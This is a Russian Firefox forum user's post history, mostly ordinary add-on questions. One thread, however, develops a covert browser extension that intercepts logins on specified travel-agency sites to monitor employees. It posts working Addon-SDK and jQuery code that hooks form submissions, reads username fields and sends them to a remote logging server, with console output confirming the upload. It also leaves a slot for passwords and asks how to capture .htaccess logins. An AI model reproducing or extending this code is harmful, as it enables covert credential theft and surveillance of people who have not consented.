Полезная информация

Хотите узнать больше о расширениях? Посмотрите ролики, рассказывающие о работе с расширениями Firefox.

Firefox » Ищу расширение для Firefox (ищу дополнение) » 13-10-2016 05:14:19

villa7 пишет

thunderamurСкрыть названия закладок, если правильно понял.Выделить кодКод:#PersonalToolbar .bookmark-item > .toolbarbutton-text {display: none !important;}

А куда это нужно подсунуть?

Firefox » Ищу расширение для Firefox (ищу дополнение) » 06-10-2016 04:56:53

Товарищи, подскажите расширение для скрытия названий закладок на панели закладок с поддержкой мультипроцессного режима. Раньше использовал для этого Roomy Bookmarks, но оно блокирует мультрипроцессный режим, поискал аналоги с поддержкой - не нашел пока.

Firefox » Firefox Hello » 07-03-2015 17:04:43

Попробовал Firefox Hello, оно даже неплохо работает, туда бы ещё чатик прикрутить и Skype не нужен.
Возник вопрос, тот, кто инициирует разговор остается с маленьким окошком видеочата, в то время как принимающий по ссылке получает видеочат на всю вкладку, можно вынести в отдельное окно и растянуть, но это не то, как получить с обеих сторон видеочат на всю вкладку?
Если перейти инициатору по ссылке, то он получит, сообщение, что там уже 2 человека и не пустит в видеочат.

Firefox » Автообновление вкладки в случае недоступности сайта (плохой интернет) » 19-06-2014 08:06:18

Ищу дополнение, которое может это реализовать. Просто автообновление не очень подходит, т.к. будет срабатывать когда это не нужно и может помешать человеку, который в данный момент что-то вводит на странице.

Если такого нет, может кто подскажет, как сделать самому, умею делать простейшие аддоны с помощью addon-sdk, что писать в main.js? Как отследить событие "Ой, страница недоступна"?

Разработка » Как добавить возможность настраивать расширение? » 16-05-2014 07:24:35

Мне всего лишь нужно после установки расширения, присвоить ему идетификатор, чтобы понять от какого ПК приходят данные.

Разработка » Как посмотреть локальный IP в расширении к Firefox? » 12-05-2014 07:59:48

okkamas_knife
Эт что? :)
Как мне это поможет взять айпи из расширения?

Разработка » Как посмотреть локальный IP в расширении к Firefox? » 08-05-2014 08:49:53

Имеет ли расширение доступ к такой информации?
Ясно, что js с сайтов такого доступа не имеет по понятным причинам, но сам браузер это локально установленная программа, может ли расширение, установленное в него получить информацию о локальном IP?

Разработка » Как добавить возможность настраивать расширение? » 08-05-2014 07:56:43

Есть необходимость задания настроек для расширения, как сделать, чтобы появилась кнопочка "Настройка" для дополнения и как сохранить и использовать в расширении инфу, введенное в тектовое поле настроек?

Использую Addon-SDK.

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 08-05-2014 05:29:02

Крутяк, получилось!

Выделить код

Код:

var Request = require("sdk/request").Request;

pageMod.PageMod({
    include: "*.natalie-tours.ru",
    contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                        data.url("natalie-tours.ru.js")],
    onAttach: function(worker) {
        worker.port.on('mylogin', function(msg) {
            console.log("============== 1 - " + msg);
            
            Request({
                url: "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=",
                onComplete: function (response) {
                    console.log("Data sent successfully!");
                }
            }).get();
            
            console.log("============== 2 - " + msg);
        });
    }
});
Выделить код

Код:

console.log: my-addon: ============== 1 - 32434
console.log: my-addon: ============== 2 - 32434
console.log: my-addon: Data sent successfully!

Теперь ещё один вопрос
Есть сайт с авторизацией через .htaccess, как мне пол

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 08-05-2014 04:50:35

Сейчас имею вот что:

Выделить код

Код:

pageMod.PageMod({
    include: "*.natalie-tours.ru",
    contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                        data.url("natalie-tours.ru.js")],
    onAttach: function(worker) {
        worker.port.on('mylogin', function(msg) {
            console.log("============== 1 - " + msg);
            var xmlhttp = new XMLHttpRequest();
            xmlhttp.open("GET", "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", true);
            xmlhttp.onreadystatechange = function() {
                if (xmlhttp.readyState == 4) {
                    if(xmlhttp.status == 200) {
                        console.log(xmlhttp.responseText);
                    }
                }
            };
            xmlhttp.send(null);
            console.log("============== 2 - " + msg);
        });
    }
});

Консоль:
[code]console.log: my-addon: ============== 1 - 123
console.error: my-addon:
  Message: ReferenceError: XMLHttpRe

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 07-05-2014 05:34:44

Infocatcher
Спасибо за инфу :)
Посмотрю все варианты. Все-таки склоняюсь к SDK, т.к. это наверное более основательный вариант (restartless и совместимость на будущее). Но ежели не осилю для этой задачи можно и сделать лишь бы сейчас работало.

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 02-05-2014 19:55:39

Infocatcher
Спасибо, что включился в беседу :)
Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.

02-05-2014 20:13:39
Не оно?
https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/content_symbiont

Разработка » Как получить доступ к окошку авторизации .htaccess? » 30-04-2014 07:59:44

Как получить данные из поля логин, в окошке авторизации .htaccess?

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 30-04-2014 03:59:47

Infocatcher молчит :(
Шпионская программа умеет собирать данные с нужных страниц? Да ещё и покупать надо.
А здесь свой теплый ламповый самопал. Это интереснее, потом есть мысли сделать штуку поприкольнее, но там уже мессенджер для платной CRM, родной месенджер которой ущербен.

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 28-04-2014 10:00:03

Странная штука, не везде работает.

[spoiler]main.js

Выделить код

Код:

var data = require("sdk/self").data;
var pageMod = require("sdk/page-mod");

pageMod.PageMod({
  include: "*.mouzenidis-travel.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("mouzenidis-travel.ru.js")]
});

pageMod.PageMod({
  include: "*.pegast.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("pegast.ru.js")]
});

data/mouzenidis-travel.ru.js

Выделить код

Код:

$("form").submit(function(){
    alert($("#UserName").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"mouzenidis-travel.ru",
                login   :$("#UserName").val(),
                secret  :""   }
    })
});

data/pegast.ru.js
[code]
$("form").submit(function(){
    alert($("#username").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { sit

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 28-04-2014 05:51:20

Разобрался. Сделал так, что данные улетают на удаленный сервер, где логируются.

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 28-04-2014 03:15:52

В справочнике на MDN примеры для 29+
Странная политика. А как под текущие версии расширения то делать, ппц.

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 25-04-2014 17:03:51

okkamas_knife
http://www.eu.squid-cache.org/mail-archive/squid-users/200602/0024.html
тут сообщается, что максимум, что мы можем получить, это тело GET-запросов. Не подоходит в моем случае.

Может лучше покажешь пример по сабжу, где можно посмотреть как работать со страницей на вкладке?

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 25-04-2014 12:59:41

okkamas_knife
Я использую squid, пока не нашел как поймать логин. Ты, случаем не знаешь, кальмар это в принципе логирует?

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 24-04-2014 12:06:56

Первое о чем я подумал - это прокси (и она уже имеется), но как она мне поможет с https?

Поставим один браузер, другое ставить запретим.
Надо учитывать уровень пользователя. Конечно, можно и с флешки загрузится и работать через свою прокси по защищенному ВПН. Но, это не мой случай, у меня пользователи попроще.

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 24-04-2014 11:40:17

Товарищи, как получить данные со страницу по определенному событию?
Пока не понял как это сделать...

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 24-04-2014 10:52:44

1. Почитал инфу по вкладкам, получилось вот что:

Выделить код

Код:

var tabs = require("sdk/tabs");

function show(tab) {
    if (tab.url.indexOf("ya.ru") == -1) {
        console.log(tab.url + " is not ya.ru");
    }else{
        console.log(tab.url + " is ya.ru");
    }
}

tabs.on('pageshow', show);

Это можно заюзать для определения на каком мы сайте и нужно ли логировать.

Разработка » Разработка расширения для перехвата логинов на заданных сайтах » 24-04-2014 10:03:31

Думаю этот проектик станет чем-то вроде "Hello world!" для меня в создании расширений для FF.

Зачем? Нужно проверить некоторых сотрудников не работают ли они на лево, с левых учеток. Килогеры посмотрел готовые для ФФ, рабочий только один оказался, но он не помогает когда чел не вводит, а вставляет логин из буфера.


https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_started
успешно выполнил.

Сейчас вижу задачу так:
1. Получаем адресную строку активной вкладки.
2. Если адрес нас интересует, искать соответствующее поле на странице (поле для ввода логина)
3. По изменению (или submit) сохранять данные на диске
YYYY-MM-DD H:i:s -- site_address -- entered_login

Вопросы:
1. Как получить адресную строку активной вкладки (onFocus) ?
2. Как найти поле на странице на вкладке (element.getByID()) ?
3. Писать данные в файл можно стандартными средствами JS ?

Board footer

Powered by PunBB
Modified by Mozilla Russia
Copyright © 2004–2020 Mozilla Russia GitHub mark
Язык отображения форума: [Русский] [English]